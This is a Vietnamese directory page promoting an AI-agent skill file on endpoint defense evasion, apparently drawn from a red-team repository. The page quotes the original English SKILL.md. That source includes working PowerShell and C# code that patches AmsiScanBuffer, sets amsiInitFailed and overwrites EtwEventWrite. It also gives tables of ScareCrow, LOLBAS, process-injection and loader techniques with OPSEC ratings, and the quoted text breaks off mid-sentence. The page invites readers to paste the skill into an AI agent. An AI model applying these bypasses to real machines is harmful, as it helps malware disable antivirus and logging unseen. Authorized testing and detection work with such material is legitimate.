defense-evasion
Skill này làm gì
Tài liệu tham chiếu này mô tả các nhóm kỹ thuật cố gắng né tránh antivirus và công cụ phát hiện endpoint. Tài liệu dành cho người kiểm thử bảo mật được ủy quyền cần kiểm tra mức độ bắt được chúng của một sản phẩm endpoint.
Khi nào nên dùng
- ✓Khi một red team được ủy quyền cần kiểm tra xem một sản phẩm endpoint có phát hiện một nhóm kỹ thuật nhất định không.
- ✓Khi một đội phòng thủ muốn có bản đồ các phương pháp né tránh gắn với các nhóm MITRE ATT&CK.
- ✓Khi người kiểm thử cần đánh giá mức rủi ro của một bước kiểm tra trước khi chạy trên mục tiêu.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Red team của chúng tôi muốn kiểm tra xem công cụ endpoint của chúng tôi có bắt được các phương pháp né tránh phổ biến không. Bạn có thể đưa ra một kế hoạch kiểm thử an toàn không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent dùng bảng phân loại và ánh xạ trong tài liệu để chọn nhóm kiểm tra, và lưu ý rằng mỗi phương pháp có thời gian hiệu lực ngắn và phải được kiểm tra trên chính các sản phẩm của mục tiêu.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Defense Evasion Knowledge Base
Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.
Quick Reference
| Task | Technique | Risk Level |
|---|---|---|
| Disable AMSI | Memory patch AmsiScanBuffer |
Medium |
| Disable AMSI (stealthier) | Hardware breakpoint on AmsiScanBuffer |
Low |
| Disable ETW | Patch EtwEventWrite |
Medium |
| Unhook EDR DLLs | ScareCrow / manual ntdll reload | High |
| Generate evasive payload | ScareCrow with AES encryption | Medium |
| Execute via LOLBAS | mshta, certutil, rundll32, regsvr32 | Varies |
| Process injection | Process hollowing, early bird | High |
| Custom loader | Nim/Rust/Go shellcode runner | Low-Medium |
MITRE ATT&CK Mapping
| Technique ID | Name | Evasion Relevance |
|---|---|---|
| T1562 | Impair Defenses | AMSI/ETW patching, disabling logging |
| T1027 | Obfuscated Files or Information | AES-encrypted shellcode, encoding |
| T1055 | Process Injection | Hollowing, APC injection, thread hijack |
| T1218 | System Binary Proxy Execution | LOLBAS (mshta, rundll32, regsvr32) |
| T1036 | Masquerading | Spoofed code signing, renamed binaries |
| T1140 | Deobfuscate/Decode Files | Runtime decryption of payloads |
1. AMSI Bypass Techniques
Memory Patching (AmsiScanBuffer)
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))
# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
Hardware Breakpoint Method (Stealthier)
// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks
// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution
// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread
Reflection Method
# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process
[Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetField(
'amsiInitFailed',
'NonPublic,Static'
).SetValue($null, $true)
AMSI Bypass OPSEC Notes
| Method | Detectable By | OPSEC Rating |
|---|---|---|
| Memory patch | EDR memory scanning, Integrity checks | Medium |
| Hardware breakpoint | Thread context inspection (rare) | High |
| Reflection (amsiInitFailed) | Script block logging, known signature | Low |
| Forcing AMSI error | Process monitor, event correlation | Medium |
2. ETW Patching
Patching EtwEventWrite
// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.
IntPtr etwAddr = GetProcAddress(
GetModuleHandle("ntdll.dll"),
"EtwEventWrite"
);
// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);
What ETW Patching Disables
- .NET assembly load events (used by EDR to detect execute-assembly)
- PowerShell ScriptBlock logging
- Process creation events via ETW providers
- Network connection telemetry from userland
ETW OPSEC Notes
- Patch BEFORE loading any tools or assemblies
- S
Câu hỏi thường gặp
Các kỹ thuật này có luôn hiệu quả không?
Không. Tài liệu cho biết mỗi kỹ thuật có tuổi thọ giới hạn vì việc phát hiện luôn thay đổi.
Mức rủi ro được thể hiện thế nào?
Tài liệu liệt kê mức rủi ro cho từng nhóm, chẳng hạn thấp, trung bình hoặc cao.
Hệ thống khung nào được dùng?
Các kỹ thuật được ánh xạ với mã định danh MITRE ATT&CK, chẳng hạn như làm suy yếu phòng thủ và thực thi qua proxy nhị phân hệ thống.
Chi tiết
Mô tả gốc của tác giả
Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13929
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.